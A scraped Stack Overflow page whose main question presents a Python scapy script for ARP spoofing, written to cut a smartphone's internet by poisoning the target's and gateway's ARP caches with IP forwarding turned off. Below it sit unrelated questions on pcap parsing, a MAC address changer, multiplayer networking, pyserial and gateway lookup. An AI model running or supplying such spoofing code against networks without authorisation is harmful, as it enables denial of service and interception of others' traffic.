Why does my code affect my main machine instead of target machine? - python

This question was migrated from Super User because it can be answered on Stack Overflow.
Migrated 15 days ago.
I tried to make a simple M.I.T.M tool using scapy module in python. My aim was to cut the internet of my smartphone using this code.To do this , i run the code in my kali machine using VMware16 virtual machine. However , it did not affect my smartphone , but affected my main computer(it is Asus and using windows10).
When i open "cmd" and write "arp -a" in my main machine , i saw that the mac address of gateway address of my window machine is the same as my kali machine.However , it should not be , because i did not apply the attack to my main machine. What is the problem here ? Why did mac address of gateway address of my window change ? You can test it by yourself , i wrote the codes below .
#! /usr/bin/env/python
from scapy.all import *
import os
print("Welcome to MAC Spoofing Tool !")
target_ip=input("Please Enter the IP of the target:")
target_mac=input("Please Enter the MAC address of the target:")
own_ip=input("Please Enter your IP:")
own_mac=input("Please Enter your MAC address:")
router_ip=input("Please Enter the IP of gateway:")
router_mac=input("Please Enter the MAC address of gateway:")
def spoof_victim():
arp_response=ARP()
arp_response.op=2
arp_response.pdst=target_ip
arp_response.hwdst=target_mac
arp_response.hwsrc=own_mac
arp_response.psrc=router_ip
send(arp_response)
def spoof_router():
arp_response=ARP()
arp_response.op=2
arp_response.pdst=router_ip
arp_response.hwdst=router_mac
arp_response.hwsrc=own_mac
arp_response.psrc=own_ip
send(arp_response)
os.system("sysctl -w net.ipv4.ip_forward=0")
while True:
spoof_victim()
spoof_router()
print("spoofing continues")

Related

Problems reading a .pcap file in Python using scapy

I'm trying to create a program where I have to read a pcap file and then count the number of packets related to some IPs. I'm not used to program in Python but I have to use it because I'm using it on a Raspberry Pi and depending of the output I have to control several pins.
Right now I have this, but I have an error and I donĀ“t know how to solve it.
from scapy.all import *
from scapy.utils import RawPcapReader
from scapy.layers.l2 import Ether
from scapy.layers.inet import IP, TCP
def read_pcap(name_pcap):
print("Opening", name_pcap)
client_1 = '192.168.4.4:48878'
server = '10.0.0.2:80'
(client_1_ip, client_1_port) = client_1.split(':')
(server_ip, server_port) = server.split(':')
counter = 0
for(pkt_data, pkt_metadata,) in RawPcapReader(name_pcap):
counter += 1
ether_pkt = Ether(pkt_data)
# Below here are functions to filter the data
read_pcap("captura.pcap")
And the error is this one:
NameError: name 'Packet' is not defined
The error apears to be in this (for(pkt_data, pkt_metadata,) in RawPcapReader(name_pcap):) line.
Someone knows how to solve it?
Thnak you :)
As Carcigenicate pointed out, that's a known bug. It's fixed in https://github.com/secdev/scapy/commit/ff644181d9bee35979a84671690d8cd1aa1971fa
You can use the development version (over https://scapy.readthedocs.io/en/latest/installation.html#current-development-version) in the meantime
Uninstall previous version & Install Latest version from https://pypi.org/project/scapy/
pip install scapy==2.5.0rc1
This should fix the error

My Python MAC_changer program has an issue in the if elif and else statement section

I made a MAC address changer for my personal use to convert my MAC address. I want to make this script work on every operating system because the ifconfig command has different syntax depending on which kind of operating system it is being used on. To make this possible, I fit this code in my script:
def mac_change(user_interface, user_mac):
check_uname = subprocess.check_output(['uname'])
print(check_uname)
if str(check_uname) == 'Linux':
subprocess.call(['ifconfig', user_interface, 'down'])
subprocess.call(['ifconfig', user_interface, 'hw', 'ether', user_mac])
subprocess.call(['ifconfig', user_interface, 'up'])
elif str(check_uname) == 'Darwin':
subprocess.call(['ifconfig', user_interface, 'down'])
subprocess.call(['sudo', 'ifconfig', user_interface, 'ether', user_mac])
subprocess.call(['ifconfig', user_interface, 'up'])
else:
print('Incompatible software.')
This is the part of the code where the MAC address of the user-specified device is changed to what the user enters as an option. I intend to add more operating systems later on after I figure out the issue. Anyway, the issue is that when I run it, it seems that two conditionals run instead of only one. These are the results of a test I ran on my MacBook air, which would be Darwin:
MAC changer started!
Changing MAC address to 00:11:22:33:44:55...
Darwin
ifconfig: down: permission denied
Password:
ifconfig: up: permission denied
Incompatible software.
MAC Address successfully changed! New MAC Address: 00:12:13:14:15:19
Why is it printing Incompatible software? It shouldn't. I commented out the whole else part and then it started running the elif along with the if part. I commented out the elif and ran the if and else parts and it started printing out Incompatible software again even though in the end, the MAC address did end up converting. But why is this happening? If anybody needs the full python file to understand and answer my question then I'll provide it. Also, if more information is needed, I'll provide it. Thanks!

How to set up a server for a local wifi multiplayer game for python

I'm making a Cards Against Humanity game (but nicer/family friendly-er) and I have it set up where all I need to do is run player functions and then a judge function until someone wins. I recently asked another question specifically about my game, but if you know a solid foolproof way to set up a multiplayer game over local wifi, I would love some help. Thanks!
Have you tried network zero? It's an amazing networking library that I use all the time.
Install:
pip install networkzero
PyPI link: https://pypi.org/project/networkzero/
Docs: https://networkzero.readthedocs.io/en/latest/
Code sample (from their doc page):
Machine/process A:
import networkzero as nw0
address = nw0.advertise("hello")
while True:
name = nw0.wait_for_message_from(address)
nw0.send_reply_to(address, "Hello " + name)
Machine/process B:
import networkzero as nw0
hello = nw0.discover("hello")
reply = nw0.send_message_to(hello, "World!")
print(reply)
reply = nw0.send_message_to(hello, "Tim")
print(reply)
This library also supports more than just 2 connections on the local WiFi, read the docs for more info.

pyserial can't find device using serial.tools.list_ports.grep()

I have a USB device (based on STM32F4 microcontroller) with VID, PID and Product Description setup in the USB descriptors.
VID = 0x0483
PID = 0x5740
Product Description = "ACME thing-a-me-bob"
On macOS, using serial.tools.list_ports.grep() works great to locate my device. e.g. p = grep("thing-a-me-bob") or `p = grep("ACME")
However on Windows (Win 10), grep does not find my device. If i use grep("") then it does list my device (along with all the others) but it just shows:
COM3 - USB Serial Device (COM3)
The device is just using the standard Microsoft CDC driver that comes with Win 10. I would have thought however that simple/standard thinks like the product description string would be read from a a USB device and used (just like the standard macOS driver does).
Is there a way to get serial.tools.list_ports.grep() to work with standard windows drivers?
Note: grep("0483:5740") does find my device, however this a reasonably commonly used set of VID:PID values, provided by ST Micro.
Not sure how grep() works but you can connect like this.
if sys.platform == 'win32':
ports = list(list_ports.comports())
for port in ports:
# query each port and connect if description is found
if 'ACME thing-a-me-bob' in port.description:
s = serial.Serial(port.device)

How can I get the default gateway IP with Python?

I want to get the IP of the default gateway (internal router IP) using Python. I'm really new to Python so not sure how this works.
I know you can get the IP of your machine with:
import socket
internal_ip = socket.gethostbyname(socket.gethostname())
print internal_ip
So I'm thinking it must be something similar?
On Windows, you should use WMI along with proper query to lookup properties of an object (e.g. network devices). The following Python code prints IPv4 and default gateway addresses on my Windows 7 machine:
Code:
import wmi
wmi_obj = wmi.WMI()
wmi_sql = "select IPAddress,DefaultIPGateway from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE"
wmi_out = wmi_obj.query( wmi_sql )
for dev in wmi_out:
print "IPv4Address:", dev.IPAddress[0], "DefaultIPGateway:", dev.DefaultIPGateway[0]
Output:
IPv4Address: 192.168.0.2 DefaultIPGateway: 192.168.0.1
You can find more details and tricks of performing WMI operations on network devices on this page.
For Linux, PyNetInfo as suggested on this page would be a good approach. Although on Linux you can get around having to depend on an additional module by reading PROC entries among other import os; os.system(...) tricks.

Categories